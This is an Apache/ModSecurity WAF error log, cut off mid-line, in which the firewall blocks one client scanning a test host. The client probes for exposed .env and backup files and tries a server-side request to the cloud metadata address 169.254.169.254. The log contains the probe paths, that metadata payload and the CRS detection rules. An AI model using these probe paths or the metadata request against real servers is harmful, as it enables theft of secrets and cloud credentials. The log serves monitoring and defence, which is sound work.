[Sun Mar 15 10:47:10.526602 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "abaAHlRPDbn7htWAttP13gAAAAI"]
[Sun Mar 15 10:47:10.526728 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.env"] [unique_id "abaAHlRPDbn7htWAttP13gAAAAI"]
[Sun Mar 15 10:47:10.548834 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "abaAHlRPDbn7htWAttP13wAAAAI"]
[Sun Mar 15 10:47:10.549031 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "abaAHlRPDbn7htWAttP13wAAAAI"]
[Sun Mar 15 10:47:10.549161 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "abaAHlRPDbn7htWAttP13wAAAAI"]
[Sun Mar 15 10:47:10.571141 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abaAHlRPDbn7htWAttP14AAAAAI"]
[Sun Mar 15 10:47:10.571318 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abaAHlRPDbn7htWAttP14AAAAAI"]
[Sun Mar 15 10:47:10.571438 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abaAHlRPDbn7htWAttP14AAAAAI"]
[Sun Mar 15 10:47:10.593498 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "abaAHlRPDbn7htWAttP14QAAAAI"]
[Sun Mar 15 10:47:10.593683 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "abaAHlRPDbn7htWAttP14QAAAAI"]
[Sun Mar 15 10:47:10.593809 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env/.env"] [unique_id "abaAHlRPDbn7htWAttP14QAAAAI"]
[Sun Mar 15 10:47:10.615897 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abaAHlRPDbn7htWAttP14gAAAAI"]
[Sun Mar 15 10:47:10.616083 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abaAHlRPDbn7htWAttP14gAAAAI"]
[Sun Mar 15 10:47:10.616206 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.prod"] [unique_id "abaAHlRPDbn7htWAttP14gAAAAI"]
[Sun Mar 15 10:47:10.638255 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abaAHlRPDbn7htWAttP14wAAAAI"]
[Sun Mar 15 10:47:10.638484 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abaAHlRPDbn7htWAttP14wAAAAI"]
[Sun Mar 15 10:47:10.638620 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "abaAHlRPDbn7htWAttP14wAAAAI"]
[Sun Mar 15 10:47:10.660621 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abaAHlRPDbn7htWAttP15AAAAAI"]
[Sun Mar 15 10:47:10.660823 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abaAHlRPDbn7htWAttP15AAAAAI"]
[Sun Mar 15 10:47:10.660952 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "abaAHlRPDbn7htWAttP15AAAAAI"]
[Sun Mar 15 10:47:10.682799 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abaAHlRPDbn7htWAttP15QAAAAI"]
[Sun Mar 15 10:47:10.683032 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abaAHlRPDbn7htWAttP15QAAAAI"]
[Sun Mar 15 10:47:10.683231 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abaAHlRPDbn7htWAttP15QAAAAI"]
[Sun Mar 15 10:47:10.683368 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.backup"] [unique_id "abaAHlRPDbn7htWAttP15QAAAAI"]
[Sun Mar 15 10:47:10.705474 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abaAHlRPDbn7htWAttP15gAAAAI"]
[Sun Mar 15 10:47:10.705671 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abaAHlRPDbn7htWAttP15gAAAAI"]
[Sun Mar 15 10:47:10.705810 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abaAHlRPDbn7htWAttP15gAAAAI"]
[Sun Mar 15 10:47:10.727884 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abaAHlRPDbn7htWAttP15wAAAAI"]
[Sun Mar 15 10:47:10.728137 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abaAHlRPDbn7htWAttP15wAAAAI"]
[Sun Mar 15 10:47:10.728338 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abaAHlRPDbn7htWAttP15wAAAAI"]
[Sun Mar 15 10:47:10.728476 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abaAHlRPDbn7htWAttP15wAAAAI"]
[Sun Mar 15 10:47:10.750432 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "abaAHlRPDbn7htWAttP16AAAAAI"]
[Sun Mar 15 10:47:10.750838 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "abaAHlRPDbn7htWAttP16AAAAAI"]
[Sun Mar 15 10:47:10.750980 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/env.backup"] [unique_id "abaAHlRPDbn7htWAttP16AAAAAI"]
[Sun Mar 15 10:47:11.024129 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Pattern match "^(?i:file|ftps?|https?):\\\\/\\\\/(?:\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})" at ARGS:url. [file "/usr/share/modsecurity-crs/rules/REQUEST-931-APPLICATION-ATTACK-RFI.conf"] [line "54"] [id "931100"] [msg "Possible Remote File Inclusion (RFI) Attack: URL Parameter using IP Address"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/latest/meta-data/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-rfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test"] [unique_id "abaAH1RPDbn7htWAttP19AAAAAI"]
[Sun Mar 15 10:47:11.024460 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test"] [unique_id "abaAH1RPDbn7htWAttP19AAAAAI"]
[Sun Mar 15 10:47:11.024586 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test"] [unique_id "abaAH1RPDbn7htWAttP19AAAAAI"]
[Sun Mar 15 10:47:11.069445 2026] [:error] [pid 2708246] [client 185.177.72.49:41458] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname 